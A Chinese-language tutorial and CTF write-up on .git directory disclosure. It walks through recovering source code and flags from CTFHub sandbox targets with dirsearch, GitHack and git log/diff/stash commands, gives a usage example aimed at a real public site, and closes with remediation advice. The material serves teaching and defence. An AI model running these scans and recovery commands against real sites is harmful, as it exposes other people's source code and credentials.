漏洞介绍
Git是一个开源的分布式版本控制系统,在执行git init初始化目录的时候会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等,发布代码的时候如果没有把.git这个目录删除直接发布到服务器上攻击者就可以通过它来恢复源代码
利用工具
项目地址:GitHub - lijiejie/GitHack: A `.git` folder disclosure exploit
工具原理:
- 解析.git/index文件,找到工程中所有的(文件名,文件sha1)
- 去.git/objects/文件夹下下载对应的文件
- zlib解压文件并按原始的目录结构写入源代码
用法示例:
python3 GitHack.py http://www.openssl.org/.git/
项目地址2:GitHub - BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本
工具使用:
漏洞案例
Log示例
Step 1:直接访问靶场环境可以看到如下界面信息
Step 2:扫描以下目录
python3 dirsearch.py -u http://challenge-ed902de60e85397f.sandbox.ctfhub.com:10800/ -e *
Step 3:从上面的结果可以发现存在git信息泄露,之后我们利用Githack(GitHub - BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本)扫描一下
python2 GitHack.py http://challenge-ed902de60e85397f.sandbox.ctfhub.com:10800/.git/
Step 4:历史查询
git log
Step 5:从上面发现一个add flag的历史命令,之后利用一下命令进行差异对比成功获取到flag
#版本对比
git diff <分支名1> <分支名2>#执行示例
git diff 727b1543630ea8e366afb0646dcd24a68273657b#版本回退
git reset --hard <分支名>
Stash示例
此题目注意考察.git stash的使用,该命令主要用于想要保存当前的修改,但是想回到之前最后一次提交的干净的工作仓库时进行的操作,.git stash将本地的修改保存起来并且将当前代码切换到HEAD提交上,下面我们使用CTFHUB的环境进行演示说明:
Step 1:访问靶场地址可以看到如下界面信息
CTFHub 环境实例 | 提示信息
Step 2:进行目录扫描,发现存在.git信息泄露
python3 dirsearch.py -u http://challenge-3035c4ab094fc730.sandbox.ctfhub.com:10800/ -e *
Step 3:使用Githack扫描
python2 GitHack.py http://challenge-3035c4ab094fc730.sandbox.ctfhub.com:10800/.git/
Step 4:进入到源码获取目录下面并利用git stash list列出Git栈内的所有备份,可以利用这个列表来决定从那个地方恢复
git stash list
然后利用git stash pop从Git栈中读取最近一次保存的内容,恢复工作区的相关内容,由于可能存在多个Stash的内容,所以用栈来管理,pop会从最近的一个stash中读取内容并恢复
git stash pop
之后查看文件获得最终的flag
Index示例
Step 1:首先访问题目链接地址可以看到如下提示信息
Step 2:同样的方法进行目录扫描探测
python3 dirsearch.py -u http://challenge-d9fd1f49efa9f95c.sandbox.ctfhub.com:10800/ -e *
Step 3:使用Githack扫描
python2 GitHack.py http://challenge-d9fd1f49efa9f95c.sandbox.ctfhub.com:10800/.git/
Step 4:进入到目录查看文件即可获取到flag信息
修复建议
- 信息更改:如果敏感信息已经被泄露,需要更改敏感信息并确保新的信息不会再次泄露,例如:更改密码,API密钥,数据库凭据等
- 审查代码:需要仔细审查Git仓库中的代码,以确保没有其他敏感信息泄露。可以使用Git命令行或Git托管服务的搜索功能来查找敏感信息,例如密码和凭据
- 权限移除:立即移除公共访问权限以防止进一步的信息泄露,可以使用Git命令行或Git托管服务(例如:GitHub,GitLab等)来更改仓库的访问权限或将仓库更改为私有
- 撤销提交:如果敏感信息已经提交到公共Git仓库中则可以使用Git命令行或Git托管服务的撤销提交功能来撤销提交并删除敏感信息,具体操作是使用Git命令行或Git托管服务撤销提交并强制推送到Git仓库以覆盖已提交的历史记录